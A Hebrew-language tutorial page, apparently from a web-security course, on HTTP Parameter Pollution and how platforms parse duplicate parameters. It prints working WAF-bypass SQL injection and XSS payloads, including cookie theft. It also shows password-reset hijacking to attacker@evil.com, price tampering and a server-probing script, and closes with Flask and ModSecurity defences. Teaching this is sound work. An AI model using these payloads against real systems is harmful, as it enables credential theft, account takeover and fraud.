זיהום פרמטרים - HTTP Parameter Pollution¶
מהו HPP?¶
זיהום פרמטרים (HPP - HTTP Parameter Pollution) היא טכניקה שמנצלת את הדרך שבה שרתים ו-WAFs מטפלים בפרמטרים כפולים. כאשר בקשה מכילה את אותו פרמטר יותר מפעם אחת, פלטפורמות שונות מגיבות באופן שונה. ה-WAF עשוי לבדוק ערך אחד, בעוד שהשרת משתמש בערך אחר.
איך פלטפורמות שונות מטפלות בפרמטרים כפולים¶
בקשה לדוגמה:
טבלת התנהגות לפי פלטפורמה¶
| פלטפורמה | התנהגות | ערך שמתקבל |
|---|---|---|
| PHP/Apache | לוקח אחרון | 2 |
| ASP.NET/IIS | הchaining עם פסיק | 1,2 |
| JSP/Tomcat | לוקח ראשון | 1 |
| Python Flask | לוקח ראשון | 1 |
| Python Django | לוקח אחרון | 2 |
| Express.js (Node) | מחזיר מערך | ['1', '2'] |
| Ruby on Rails | לוקח אחרון | 2 |
| Perl CGI | לוקח ראשון | 1 |
| Go net/http | לוקח ראשון | 1 |
הדגמה בקוד¶
<?php
// PHP - takes the last value
// GET /page?id=safe&id=malicious
echo $_GET['id']; // prints: malicious
?>
// JSP/Servlet - takes the first value
// GET /page?id=safe&id=malicious
String id = request.getParameter("id"); // returns: safe
// But getParameterValues returns all of them
String[] ids = request.getParameterValues("id"); // ["safe", "malicious"]
// Express.js - returns an array
// GET /page?id=safe&id=malicious
app.get('/page', (req, res) => {
console.log(req.query.id); // ['safe', 'malicious']
// If the code doesn't expect an array, it can cause problems
if (req.query.id == 'safe') {
// The comparison will fail because id is an array!
}
});
# Flask - takes the first value
# GET /page?id=safe&id=malicious
from flask import request
@app.route('/page')
def page():
id = request.args.get('id') # returns: safe
ids = request.args.getlist('id') # returns: ['safe', 'malicious']
// ASP.NET - chaining with a comma
// GET /page?id=1&id=2 UNION SELECT 3
string id = Request.QueryString["id"];
// id = "1,2 UNION SELECT 3"
// The chaining itself can create a valid SQLi payload!
HPP לbypass WAF¶
הרעיון המרכזי¶
אם ה-WAF בודק את הערך הראשון של פרמטר, אבל השרת משתמש באחרון (כמו PHP), אפשר לשים ערך תמים ראשון וערך זדוני שני:
# WAF checks "id=1" - looks valid
# PHP uses "id=1 UNION SELECT password FROM users--"
GET /page?id=1&id=1 UNION SELECT password FROM users-- HTTP/1.1
דוגמה מפורטת - bypass WAF ל-SQLi¶
# The original malicious request (blocked)
GET /page?id=1' UNION SELECT username,password FROM users-- HTTP/1.1
# With HPP - splitting the payload
GET /page?id=1&id=1' UNION SELECT username,password FROM users-- HTTP/1.1
# WAF sees two separate parameters:
# id=1 -> looks valid
# id=1' UNION SELECT... -> maybe checks only the first one
# PHP takes the last one -> the injection succeeds
דוגמה עם ASP.NET - chaining¶
ב-ASP.NET המצב מעניין במיוחד. הפלטפורמה משרשרת ערכים עם פסיק:
# Splitting the payload into two parameters
GET /page?id=1 UNION/*&id=*/SELECT username FROM users-- HTTP/1.1
# ASP.NET chains: "1 UNION/*,*/SELECT username FROM users--"
# The result is valid SQL because the comma is inside a comment!
# Another example with ASP.NET chaining
GET /page?id=1'/*&id=*/UNION/*&id=*/SELECT/*&id=*/password/*&id=*/FROM/*&id=*/users-- HTTP/1.1
# ASP.NET chains:
# "1'/*,*/UNION/*,*/SELECT/*,*/password/*,*/FROM/*,*/users--"
# All the commas are inside SQL comments - the payload is valid!
הbypass WAF ל-XSS עם HPP¶
# Original payload (blocked)
GET /search?q=<script>alert(1)</script> HTTP/1.1
# With HPP
GET /search?q=<script>alert&q=(1)</script> HTTP/1.1
# PHP (last): q = (1)</script> -> not a complete XSS
# ASP.NET (chaining): q = <script>alert,(1)</script> -> the comma breaks the code
# Alternative approach - exploiting Express.js's behavior
GET /search?q=<script>&q=alert(1)&q=</script> HTTP/1.1
# Express.js: q = ['<script>', 'alert(1)', '</script>']
# If the code joins the array: "<script>,alert(1),</script>"
HPP לבאגים לוגיים¶
דריסת פרמטרים פנימיים¶
# An application that adds parameters server-side
# The code adds role=user before processing
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=hacker&password=pass123&role=admin
# The server adds role=user, but in PHP the last value wins
# If the code:
# $_POST['role'] = 'user'; // internal assignment
# process($_POST); // processing
# But if the parameter already exists:
# $_POST = parse_str($body) // role=admin from the user
# $_POST['role'] = 'user' // overwrites
# The order depends on how the code is written
מניפולציית תשלומים¶
# A payment application that sends to a payment gateway
POST /checkout HTTP/1.1
Content-Type: application/x-www-form-urlencoded
item=laptop&price=999&price=1
# If the server checks price=999 (first)
# But the payment gateway receives price=1 (last)
# -> payment of $1 instead of 999
דריסת פרמטרי אימות¶
# Password reset system
POST /reset-password HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=victim@target.com&email=attacker@evil.com
# The server sends a reset link to email
# If it takes the first one: sends to victim (correct logic)
# If it takes the last one: sends to attacker (the attack succeeded!)
# If it sends to both: attacker receives victim's reset link
HPP בשיטות HTTP שונות¶
HPP ב-GET¶
HPP ב-POST¶
HPP משולב GET ו-POST¶
# Some platforms allow combining GET and POST
POST /api/user?id=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=2
# PHP: $_REQUEST['id'] depends on the request_order setting
# Default: POST overrides GET, so id=2
# But $_GET['id']=1 and $_POST['id']=2
HPP בעוגיות - Cookies¶
GET /page HTTP/1.1
Cookie: session=legit; session=malicious
# Most servers take the first cookie
# But some WAFs check only the last one
HPP ב-JSON¶
{
"id": 1,
"id": "1 UNION SELECT password FROM users--"
}
// Most parsers take the last value of a duplicate key
// WAF might check only the first one
import json
# Python json module - takes the last one
data = json.loads('{"id": 1, "id": "malicious"}')
print(data['id']) # "malicious"
דוגמאות מלאות לbypass WAF עם HPP¶
דוגמה 1 - SQLi דרך HPP ב-PHP¶
# Step 1: identify that the server runs PHP (takes the last one)
# Step 2: check that the WAF checks the first one
GET /products?category=electronics&category=electronics' UNION SELECT username,password FROM users-- HTTP/1.1
Host: target.com
# WAF sees category=electronics -> valid
# PHP receives category=electronics' UNION SELECT username,password FROM users--
דוגמה 2 - XSS דרך HPP ב-ASP.NET¶
# Exploiting ASP.NET's chaining with a comma
GET /search?term=hello&term=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
# ASP.NET: term = "hello,<script>alert(document.cookie)</script>"
# The comma doesn't affect the XSS
דוגמה 3 - HPP עם encoding¶
# Combining HPP with URL encoding
GET /page?id=1&id=1%27%20UNION%20SELECT%201-- HTTP/1.1
# Combining HPP with double encoding
GET /page?id=1&id=1%2527%2520UNION%2520SELECT%25201-- HTTP/1.1
# Combining HPP with Unicode
GET /page?id=1&id=1%EF%BC%87%20UNION%20SELECT%201-- HTTP/1.1
סקריפט לזיהוי התנהגות HPP¶
import requests
def test_hpp_behavior(url, param_name="test"):
"""Test how the server handles duplicate parameters"""
# Test with GET
params = f"{param_name}=FIRST&{param_name}=SECOND"
r = requests.get(f"{url}?{params}")
print(f"[*] Testing {url}")
print(f"[*] Request: ?{params}")
print(f"[*] Status code: {r.status_code}")
body = r.text.lower()
if 'first' in body and 'second' in body:
if 'first,second' in body or 'first, second' in body:
print("[+] Behavior: chaining (ASP.NET style)")
else:
print("[+] Behavior: both values appear (Express.js style)")
elif 'first' in body and 'second' not in body:
print("[+] Behavior: first (JSP/Flask style)")
elif 'second' in body and 'first' not in body:
print("[+] Behavior: last (PHP style)")
else:
print("[-] Cannot identify - the parameter doesn't appear in the response")
# Test with POST
data = {param_name: ['FIRST', 'SECOND']}
r = requests.post(url, data=f"{param_name}=FIRST&{param_name}=SECOND",
headers={"Content-Type": "application/x-www-form-urlencoded"})
print(f"\n[*] Testing POST")
print(f"[*] Status code: {r.status_code}")
body = r.text.lower()
if 'first' in body and 'second' not in body:
print("[+] POST behavior: first")
elif 'second' in body and 'first' not in body:
print("[+] POST behavior: last")
elif 'first' in body and 'second' in body:
print("[+] POST behavior: both")
# Usage
test_hpp_behavior("http://target.com/search", "q")
הגנה¶
נורמליזציית פרמטרים¶
# Defense - reject duplicate parameters
from flask import Flask, request, abort
app = Flask(__name__)
@app.before_request
def check_duplicate_params():
"""Block requests with duplicate parameters"""
for key in request.args:
values = request.args.getlist(key)
if len(values) > 1:
abort(400, f"Duplicate parameter: {key}")
if request.method == 'POST' and request.content_type == 'application/x-www-form-urlencoded':
for key in request.form:
values = request.form.getlist(key)
if len(values) > 1:
abort(400, f"Duplicate parameter: {key}")
# Defense in ModSecurity - blocking duplicate parameters
SecRule &ARGS:id "@gt 1" \
"id:1001,\
phase:2,\
deny,\
status:400,\
msg:'Duplicate parameter detected'"
עקרונות הגנה:
1. לדחות בקשות עם פרמטרים כפולים
2. לוודא שה-WAF והשרת מפרשים פרמטרים באותה דרך
3. לנרמל פרמטרים לפני עיבוד
4. להשתמש בפרסר אחיד בכל רכיבי המערכת
סיכום¶
HPP היא טכניקה אלגנטית שמנצלת את חוסר העקביות בין רכיבי מערכת. הבנת ההתנהגות של כל פלטפורמה היא קריטית - PHP לוקח אחרון, JSP ראשון, ASP.NET משרשר. בשילוב עם טכניקות encoding, HPP הופך לכלי עוצמתי לbypass WAF. בתרגיל הבא נתרגל טכניקות אלו על פלטפורמות שונות.